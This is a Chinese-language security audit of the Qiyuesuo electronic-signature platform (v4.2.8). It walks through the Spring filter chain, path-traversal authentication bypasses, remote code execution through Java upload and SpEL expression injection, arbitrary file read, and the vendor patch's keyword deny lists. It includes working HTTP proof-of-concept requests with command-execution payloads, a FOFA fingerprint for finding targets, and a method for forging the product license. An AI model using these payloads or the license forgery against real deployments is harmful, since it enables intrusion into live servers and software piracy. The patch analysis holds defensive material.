契约锁代码审计分析
但是正常来讲,定义了这么多的路由,肯定会有一个通用的判断逻辑,来判断请求的url是否和这些路由匹配。POC中有一点值得注意,Spring新一些的版本中支持以表单的形式来为参数赋值,且无需用注解。但是需要注意4.2.8的代码逻辑和新版本中的不同,此漏洞可能存在于版本大于4.2.8的版本中。方法用于解析LICENSE,先进行AES解密,再从字符串转换成json格式的License。loadPath实际
fofa指纹
app="契约锁-电子签署平台"
框架分析
PS:漏洞调试时在bin文件夹下的start.bat中分别对不同的模块添加相应的调试端口
这里以契约锁4.2.8版本为例,采用SpingBoot框架,核心代码都在jar包中,通用jar包位于lib中,模块代码名为priv-xx.jar
lib
|-private-api-1.0.0-SNAPSHOT.jar
|-private-base-1.0.0-SNAPSHOT.jar
|-private-core-1.0.0-SNAPSHOT.jar
|-private-domain-1.0.0-SNAPSHOT.jar
|-private-dss-1.0.0-SNAPSHOT.jar
|-private-fee-1.0.0-SNAPSHOT.jar
|-private-sql-1.0.0-SNAPSHOT.jar
|-private-storage-1.0.0-SNAPSHOT.jar
priv-backup.jar
privapp.jar
private-agent.jar
private-sdk.jar
privgateway.jar
privopen.jar
privoss.jar
privupgrade.jar
privapp.jar
这些jar包每一个都是一个SpringBoot项目,以privapp.jar
为例,
privapp.jar
|-BOOT-INF
|- classes
|- com.quyuesuo
|- api
|- config
|- ...
|- security
|- WebApplication
|- lib
|-META-INF
|-loader
查看主程序WebApplication,从config/app/application.properties
中读取配置server.port=9180
并启动服务。
@SpringBootApplication( //组合注解,包含@Configuration、@EnableAutoConfiguration、@ComponentScan
exclude = {QuartzAutoConfiguration.class}
)
@EnableAsync //启用Spring的异步方法执行能力
@EnableAspectJAutoProxy //启用Spring对AspectJ的支持
@EnableEncryptableProperties // 启用加密属性的支持
@EnableMQ // 启用消息队列(Message Queue,MQ)的支持
public class WebApplication extends SpringBootServletInitializer {
public static void main(String[] args) throws Exception {
QiyuesuoProperties.setAdditionalProperties("file:./config/app/");
SpringApplication.run(WebApplication.class, args).start();
}
}
@SpringBootApplication
注解会将扫描项目中所有包含@Component、@Service、@Repository和@Controller
等注解的类,并注册到Spring上下文中。
Spring Security
一般SpringBoot会采用spring-boot-starter-security
组件来实现认证和授权管理,类似如下的代码。
public class SecurityConfig extends WebSecurityConfigurerAdapter {
@Override
protected void configure(HttpSecurity http) throws Exception {
http
.authorizeRequests()
.antMatchers("/public/**").permitAll() // 允许所有人访问/public/**下的资源
.anyRequest().authenticated() // 其他所有请求都需要认证
.and()
.formLogin()
.loginPage("/login") // 自定义登录页面
.permitAll() // 允许所有人访问登录页面
.and()
.logout()
.permitAll(); // 允许所有人注销
}
}
但是在翻看security文件夹时,并没有发现这样的类。只发现了一些过滤器。其中一个看着和身份认证有关MultiAuthenticationFilter
。
public class MultiAuthenticationFilter extends AbstractAuthenticationFilter implements Ordered {
@Autowired
protected SecurityProperties properties;
protected boolean requiresAuthentication(HttpServletRequest request) {
if (!request.getMethod().equalsIgnoreCase(DEFAULT_LOGIN_METHOD.name())) { // POST
return false;
} else {
String authUrl = this.properties.getMultiAuthUrl(); // multiAuthUrl = "/multiauth";
String requestURI = request.getRequestURI();
String username = request.getParameter("username");
Boolean isFilter = true;
if (StringUtils.isNotBlank(username)) {
isFilter = this.accountService.isPwd(username) && this.bindingService.ishasContact(username);
}
return this.pathMatcher.matches(request.getContextPath() + authUrl, requestURI) && isFilter;
}
}
}
它的父类AbstractAuthenticationFilter
位于private-core-1.0.0-SNAPSHOT.jar
,即通用jar包中。其核心的doFilterInternal
方法实际调用的是子类的requiresAuthentication
方法。如果该方法返回false,就不用认证。
MultiAuthenticationFilter
值得注意的一点是它用到的SecurityProperties
属性是怎么来的?对该字段进行搜索,发现契约锁有很多地方用到了SecurityProperties
。同包中的PrivappConfigurer
类位于config
文件夹下,定义了该属性。其中定义了很多被允许的路由。
@Configuration // 标识该类为Spring的配置类,相当于一个传统的XML配置文件
@EnableWebSecurity // 位于private-core-1.0.0-SNAPSHOT.jar
@EnableActuator // 位于private-base-1.0.0-SNAPSHOT.jar
@EnableHazelcastClient // 启用Hazelcast客户端功能
public class PrivappConfigurer {
protected static Logger logger = LoggerFactory.getLogger(PrivappConfigurer.class);
@Bean
@ConfigurationProperties(
prefix = "qiyuesuo.security"
)
public SecurityProperties securityProperties() {
SecurityProperties properties = new SecurityProperties();
String[] allowed = new String[]{"/qyswebapp/assets/**", "/favicon.ico", "/captcha/**", "/error*", "/login*", "/login/**", "/logout**", "/callback/**", "/company/auth/forwardinfo", "/contract/summary", "/signaturethird", "/app/download", "/lpsealupload", "/contract/print/client/infos", "/document/print/client/download", "/contract/print/client/delete", "/sys/config/activemethod", "/version/info", "/version/check", "/contract/ukeysign/**", "/signature/upload", "/app/url", "/contractqr/**", "/contractqrdetail/**", "/contract-detail-open-qrcode/**", "/sealer/**", "/pdfverifier*", "/pdfverifier/**", "/formSignatory/image", "/formSignatory/get", "/dtlogin", "/wechat/**", "/verifier*", "/session/status", "/user/change/mobile", "/user/mobile/pin", "/user/voice/pin", "/user/get/mobile", "/modifyphone", "/sys/custom/config", "/formSignatory/sign/v2/ukey", "/physicaluploadthird/*", "/ukey/login", "/third/ukey/login", "/sys/config/multipassword", "/multiauth", "/lk/*", "/sys/config/skin", "/contract/sweepcode/detail/*", "/contract/sweepcode/pin", "/company/logo/base64*", "/company/logo/image*", "/scanLogin*", "/css", "/binary/signbyukey", "/sys/config/getbackgroundimage", "/sys/config/getbackgroundconfig", "/user/get/account", "/user/ukey/checkbind", "/responsibility/config", "/privacy-protection", "/sys/config/icp", "/sys/config/oss", "/dingtalk/callback", "/anomalous", "/contract/sweepcode/pin", "/qys/webapp/basePath", "/error/outOfDate", "/welinklogin", "/company/retrieve/company/check", "/retrieve*", "/company/retrieve/user/check", "/sys/config/sign/develop/environment"};
properties.setAllowedPatterns(allowed);
String[] noFreshSessionPatterns = new String[]{"/system/message/unreadcount"};
properties.setNoRefreshSessionPatterns(noFreshSessionPatterns);
properties.setSessionIdName("QID");
return properties;
}
}
另外,在搜索过程中发现,通用jar包private-core-1.0.0-SNAPSHOT.jar
中包含SecurityProperties.class
但是从MultiAuthenticationFilter
的逻辑中可以看到,只用到了这些路由中的/multiauth
。但是正常来讲,定义了这么多的路由,肯定会有一个通用的判断逻辑,来判断请求的url是否和这些路由匹配。那么就需要找到还有那些被应用的Filter。
Filter注册
SpringBoot注册Filter常见的方式如下。或者还可以通过@WebFilter + @ServletComponentScan
注解实现
// 1. 实现Filter类,并应用@Component注解
@Component
public class MyFilter implements Filter {
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
throws IOException, ServletException {
// Filter logic
chain.doFilter(request, response);
}
}
// 2. 使用 @Bean 注解手动注册Filter
@Configuration
public class FilterConfig {
@Bean
public FilterRegistrationBean<MyFilter> myFilter() {
FilterRegistrationBean<MyFilter> registrationBean = new FilterRegistrationBean<>();
registrationBean.setFilter(new MyFilter());
registrationBean.addUrlPatterns("/api/*");
return registrationBean;
}
@Bean
public FilterRegistrationBean<AnotherFilter> anotherFilter() {
FilterRegistrationBean<AnotherFilter> registrationBean = new FilterRegistrationBean<>();
registrationBean.setFilter(new AnotherFilter());
registrationBean.addUrlPatterns("/admin/*");
return registrationBean;
}
}
AccessControlFilter
对setFilter
关键字进行搜索,有三处地方用到了类似的写法。
#1 privupgrade.jar -> DemultiplexingLogHandler.java
((Handler)var3).setFilter(this.getFilter());
#2 privopen.jar -> SpringMvcConfigurer.java
registrationBean.setFilter(this.authenticationFilter());
registrationBean.setFilter(this.templateGroupFilter());
registrationBean.setFilter(this.simpleAuthenticationFilter());
registrationBean.setFilter(this.ipFilter());
registrationBean.setFilter(this.timestampFilter());
registrationBean.setFilter(this.integrationFilter());
#3 private-core-1.0.0-SNAPSHOT.jar -> SecurityConfiguration.java
registration.setFilter(new ParamsFilter(this.objectMapper));
最值得关注的就是最后一个,位于通用jar包中的SecurityConfiguration
,该类中包含的Filter如下
public UkeyAuthenticationFilter ukeyAuthenticationFilter() {}
public SecurityContextFilter securityContextFilter() {}
public AccessControlFilter accessControlFilter() {}
public DingTalkAuthenticationFilter dingTalkAuthenticationFilter() {}
public CasAuthenticationFilter casAuthenticationFilter() {}
public SSOAuthenticationFilter ssoAuthenticationFilter() {}
public OaAuthenticationFilter oaAuthenticationFilter() {}
public CloudHubAuthencationFilter cloudHubAuthencationFilter() {}
public DefaultAuthenticationFilter defaultAuthenticationFilter() {}
public SnsAuthenticationFilter snsAuthenticationFilter() {}
public WeChatAuthenticationFilter weChatAuthenticationFilter() {}
public LogoutFilter logoutFilter() {}
public ResponsibilityFilter responsibilityFilter() {}
跟进不同的Filter,会发现AccessControlFilter
是对SecurityProperties属性的通用过滤器。只要是allowedPatterns
中的路径都无需验证。
匹配路由时用的matchesRequestURI
方法最终实际会调用到private-core-1.0.0-SNAPSHOT.jar
中的AntPathMatcher
类。
根据对代码的对比,这个类和org.springframework.util.AntPathMatcher#doMatch
基本一致。也就是Spring之前的绕过问题,这里也存在。例如,/callback/**
是无需校验的,/sys
需要校验。那么可以通过/callback/../sys/
来访问/sys
路由。
另外,除了上面privapp.jar
中PrivappConfigurer
类中包含了定义的路径。privoss.jar
中ConsoleConfiguration
类中也包含了一些定义的路径。
@Bean
@ConfigurationProperties(
prefix = "qiyuesuo.security"
)
public SecurityProperties securityProperties() {
SecurityProperties properties = new SecurityProperties();
String[] allowed = new String[]{"/login*", "/setup*", "/setup/**", "/qysoss/assets/**", "/error*", "/favicon.ico", "/logout*", "/nacos/**", "/dubbo/**", "/sys/config/name", "/version/info", "/license/check", "/license/get", "/captcha/**", "/login/**", "/multiauth", "/qys/oss/basePath", "/sys/config/oss", "/sys/config/develop/environment"};
properties.setAllowedPatterns(allowed);
properties.setSessionIdName("OSSID");
properties.setSameSiteSessionIdName("OSSID");
return properties;
}
常见的绕过前缀包含
/qyswebapp/assets/**
/captcha/**
/login/**
/logout**
/callback/**
/contract/ukeysign/**
/contractqr/**
/contractqrdetail/**
/contract-detail-open-qrcode/**
/sealer/**
/pdfverifier/**
/wechat/**
/setup/**
/qysoss/assets/**
/nacos/**
/dubbo/**
历史漏洞
/code/upload 文件上传漏洞
/callback/..;/code/upload
先对/code/upload
路由进行定位,位于CustomCodeController
类中。用于上传代码
跟进create
方法。该方法位于通用jar包中,对上传的java代码进行编译,然后用checkType
方法检查传入的类是否符合要求。
compileCustomCode()编译过程
有一个关键问题,编译后类有没有被加载?加载后有没有初始化?
编译和加载是java代码执行的不同阶段。java代码(即.java
文件)首先经历编译阶段,由java编译器(如javac)将.java
文件转换成.class
字节码。想要运行代码,就需要经历加载阶段—将字节码文件加载到jvm中。
想要直接利用类中的代码,需要将代码放入静态代码块static,让它在类加载后执行。否则源程序是不会调用我们写入的代码的。但是类加载并不意味着静态代码块static会执行。类加载后的初始化阶段static才会执行。
执行static代码块的常见条件如下:
1. Class.forName("MyClass"); 此语句默认第二个参数为true。即进行初始化。但如果写成Class.forName("MyClass",false,this.getClass().getClassLoader())就不会初始化,也就不会执行static块。
2. new对象。例如new A()
3. get/set静态字段。含反射调用
4. 调用类的静态方法。含反射调用
loader.defineClass("MyClass", byteCode, 0, byteCode.length);
Method main = cls.getDeclaredMethod("xx", String[].class);
main.setAccessible(true);
main.invoke(null, (Object) new String[] {});
另外。类加载时常用ClassLoader.loadClass("MyClass")方法,但是该方法并不会直接执行初始化操作。想要执行static,一般需要搭配newInstance,如下。
Class<?> c=loader.loadClass("MyClass");
Constructor<?> constructor = c.getDeclaredConstructor();
constructor.setAccessible(true);
Object instance = constructor.newInstance();
跟进compileCustomCode()
方法,实际调用private-core-1.0.0-SNAPSHOT.jar
中的JavaDynamicCompiler.compile()
,将上传的代码写入新的文件,并调用同类的compileFile()
编译
跟进compileFile()
,在编译后执行了loadClass
的类加载操作。但是上面提到loadClass时并不会执行static代码块中的内容。
继续看一下checkType的具体限制。到底什么类可以允许上传。根据CodeType的不同,分别要实现不同的接口或类。
POC如下
POST /callback/%2E%2E;/code/upload HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryco2lQ5vxCOn9Aq2R
Connection: close
------WebKitFormBoundaryco2lQ5vxCOn9Aq2R
Content-Disposition: form-data; name="type";
TIMETASK
------WebKitFormBoundaryco2lQ5vxCOn9Aq2R
Content-Disposition: form-data; name="file";filename="qys.java"
package qiyuesuo;
import com.qiyuesuo.utask.java.BaseTimerTask;
public class qiyuesuo004 extends BaseTimerTask {
static {try{Runtime.getRuntime().exec("whoami");}catch (Exception e){}}
}
------WebKitFormBoundaryco2lQ5vxCOn9Aq2R--
POC中有一点值得注意,Spring新一些的版本中支持以表单的形式来为参数赋值,且无需用注解。例如POC中的type
赋值的就是CodeType type
。
但是这个POC就像上面提到的问题,只执行了loadClass,并没有初始化。所以无法用这个包完成攻击,还需要根据这个上传的java文件的id,去执行定时计划。
/utask/upload 远程代码执行
这个漏洞和/code/upload
很类似,漏洞位于privoss.jar
中的UserTaskController
。
uploadFile方法实际调用的就是上面的create
方法。
和上面那个漏洞相比,上面那个代码只是上传漏洞,并loadClass。但是这个utask的漏洞,在代码编译后执行了startUsing
跟进startUsing方法,在编译后执行了一次newInstance,static代码块可以执行。用上面的POC可以成功攻击。
/template/html/add 远程代码执行
需要注意4.2.8的代码逻辑和新版本中的不同,此漏洞可能存在于版本大于4.2.8的版本中。
漏洞定位TemplateHtmlController
的addHtmlTemplate()
方法,用于添加模板。模板内容通过TemplateBean传入。file
和title
参数不能为空,否则会抛出异常,用Jackson读取传入的param中的extensionParam
参数值,如果该值中包含expression
,就通过正则解析和处理包含数学表达式或公式的字符串,如{}、()
,如果不存在这些符号,就会抛出异常公式存在格式错误
然后取出expression的值,判断是否其中还包含{}
,如果包含则将{xx}
替换为1。然后执行checkExpression
,典型的表达式执行漏洞。
POC如下
POST /captcha/%2e%2e/template/html/add HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36(KHTML, like Gecko) Chrome/98.0.155.44 Safari/537.36
Content-Type: application/json
X-State: whoami
{"file":"1","title":"2","params":[{"extensionParam":"{\"expression\":\"var a=new org.springframework.expression.spel.standard.SpelExpressionParser();var b='base64字符串';var b64=java.util.Base64.getDecoder();var deStr=new java.lang.String(b64.decode(b),'UTF-8');var c=a['parseExpression'](deStr);c.getValue();\"}","name":"test"}]}
解码内容
T (org.springframework.cglib.core.ReflectUtils).defineClass("QysTest",T (org.springframework.util.Base64Utils). decodeFromString("yv66vgAAADIBK..."),new javax.management.loading.MLet(new java.net.URL[0],T (java.lang.Thread).currentThread().getContextClassLoader())).doInject()
/template/param/edits 远程代码执行
此漏洞与上面的/template/html/add
漏洞原理相同,位于TemplateController
POC如下
POST /contract/ukeysign/.%2e/.%2e/template/param/edits HTTP/1.1
Host: xxxxx
Cookie: SID=3c5dff0a-40d3-4235-b3dc-80a0ede12570
Pragma: no-cache
Cache-Control: no-cache
Sec-Ch-Ua: "Google Chrome";v="113", "Chromium";v="113", "Not-A.Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
Sec-Ch-Ua-Platform: "macOS"
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: script
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json
Content-Length: 32990
Connection: close
{"id":"2","params":[{"expression":"var a=new org.springframework.expression.spel.standard.SpelExpressionParser();var b='classBase64编码';var b64=java.util.Base64.getDecoder();var deStr=new java.lang.String(b64.decode(b),'UTF-8');var c=a.parseExpression(deStr);c.getValue();"}]}
补丁分析
下载下来的压缩包中包含一个补丁jar、补丁安装说明和补丁版本说明。补丁版本说明如下。
Jar包含了一些Filter和一个security.rsc
文件。找到处理/security.rsc
的地方,位于private-security-patch.jar
补丁包中的SecurityResourceOperator
提取这段代码对security.rsc
进行解密,得到如下的url列表
补丁包中的filter包含:CustomCodePreventFilter、DangerUrlPreventFilter、TemplateParamPreventFilter、UpgradeInterceptorsFilter
CustomCodePreventFilter
针对上面上传java代码的漏洞,一旦Filter检测到相关的路由,会增加CustomCodeRequestWrapper
,对敏感关键字进行检测,判断上传的java代码中是否用到了如下的关键字。
CustomCodePreventFilter: Value: [/utask/upload, /code/upload, /api/code/upload, /api/sys/config/storage/custom/upload, /sys/config/storage/custom/upload, /api/sys/config/convert/upload, /sys/config/convert/upload, /api/message/strategy/upload, /message/strategy/upload] Value: [Runtime, Process, ProcessBuilder, SpelExpressionParser, invoke, Class.forName, newInstance, ClassLoader, Constructor, ObjectInputStream, ScriptEngine, parseExpression, getDeclaredField, setAccessible, getMethod, lookup]
TemplateParamPreventFilter
针对上面的template远程代码执行漏洞,一旦检测到相关路由,增加TemplateParamRequestWrapper,用正则匹配a.b
(不区分大小写),一旦匹配到则认定包含攻击代码。
Value: [/template/param/edits,/template/html/update,/api/template/param/edits, /api/template/html/update, ] Value: [/template/html/add, /api/template/html/add] findable = Pattern.compile("[a-zA-Z]\\.[a-zA-Z]").matcher(cell.getExpression()).find();
UpgradeInterceptorsFilter
UpgradeInterceptorsFilter的主要逻辑如下。c
方法判断字符串 str
是否以列表 list
中的任意一个元素开头。b
方法判断字符串 str
是否包含列表 list
中的任意一个元素。
if (QiyuesuoURIStringUtils.c(p, url) && !QiyuesuoURIStringUtils.b(q, url) && !"true".equals(this.r)) {...} // 拦截
p和q具体的列表如下。也就是以p开头,但是又不在q列表中的就会拦截。
p Key: UpgradeInterceptorsFilter.RISK_UPGRADE_URI Value: [/upgrade, /api/upgrade, /update, /api/update] q Key: UpgradeInterceptorsFilter.RISK_UPGRADE_EXCLUDE_URI Value: [/upgrade/status, /upgrade/sqldetail, /api/upgrade/status, /api/upgrade/sqldetail, /update/password/pin, /api/update/password/pin, /update/password, /api/update/password, /upgrade/detail/download, /upgrade/error/servicedetail, /upgrade/error/sqldetail, /upgrade/errordetail]
DangerUrlPreventFilter
Value: [/assets/loadResource, /api/assets/loadResource]
DangerUrlPreventFilter首先用正则匹配不包含以下模式的字符串://(双斜杠)./(点号后紧跟斜杠);(分号)
,如果包含这三个中的一个就会抛出异常。如果不包含,则进入else,然后判断路由是否为/assets/loadResource
/或api/assets/loadResource
,如果是的话,获取path参数,再次用正则判断path是否包含//(双斜杠)./(点号后紧跟斜杠);(分号)
,防止跨目录。
protected void doFilterInternal(HttpServletRequest request, HttpServletResponse response, FilterChain filterChain) throws ServletException, IOException {
String url = QiyuesuoURIStringUtils.a(request);
boolean matches = m.matcher(url).matches(); // Pattern.compile("^(?!.*\\/\\/)(?!.*\\.\\/)(?!.*[;]).*$");
if (!matches) {
this.n.a(response, url);
} else {
if (QiyuesuoURIStringUtils.c(o, url)) {
String path = request.getParameter("path");
if (!StringUtils.isEmpty(path) && !m.matcher(path).matches()) {
logger.warn("匹配到攻击:{}", path);
this.n.a(response, url);
return;
}
}
filterChain.doFilter(request, response);
}
}
跟进看一下/assets/loadResource
,漏洞定位privapp.jar
中的AssetsController
loadPath实际判断传入的path是否和下面的path相等,如果不相等返回null。
那么targetPath的值就是传入的path值,并且直接与./resources
拼接进行文件读取。所以可以用../
跨目录的方式来进行任意文件读取。不过稍微4.2.8中已经修复了。在获取path时判断了是否包含../
license破解
一般源码中是包含一个LICENSE文件的,在源码中查找读取LICENSE
文件的地方。位于private-core-1.0.0-SNAPSHOT.jar
的LicenseUtil
类中。license初始化时会传入一个随机数作为identifier
,并设置一个时间作为过期时间。然后用AES加密后写入到LICENSE文件中。
同类中还定义了resolveLicense
方法用于解析LICENSE,先进行AES解密,再从字符串转换成json格式的License。
跟进License类看看都有哪些字段
上面这些是LICENSE的生成和解析过程。程序中实际校验LICENSE是契约锁启动后,会有三个步骤。1. 系统激活(LICENSE校验) 2. 数据库配置 3. 系统初始账号设置。都是/setup/
开头的路由,定位到privoss.jar
的SetupController
,有个传入license的数据框,填入后会调用setLicesne
方法
setLicesne
方法主要干了几件事。1. 先读取项目中的LICENSE文件,赋值给fromFile。2. 调用上面的resolveLicense()
方法解析传入的license。3. 判断二者的identifier是否相等。4. 判断传入的license是否过期。5. 传入的license,其token和secret值不能为空。
根据上面License类的字段,这里的时间戳expireTime
设置的1767110400000
,转换过来就是2025年12月31日
。identifier
、token
和secret
设置不能为空。构造的如下字符串。
{"licenseId":"123456","token":"abcd","secret":"xxx","version":"4.3","identifier":"xxx","companyName":test","expireTime":1767110400000,"expire":true,"config":{"contract":true,"print":false,"seal":false,"hybrid":true,"faceSign":true,"fee":false},"sales":"kk","cmaxMark":false,"icmaxMark":false,"pcmaxMark":false,"ipcmaxMark":false,"operator":"ec审批通过","licenseType":"com"}
用aes.encryptAES()
加密得到license,覆盖掉原有的LICENSE文件。然后在/setup/页面的输入框中输入得到的加密license即可。
更多推荐
所有评论(0)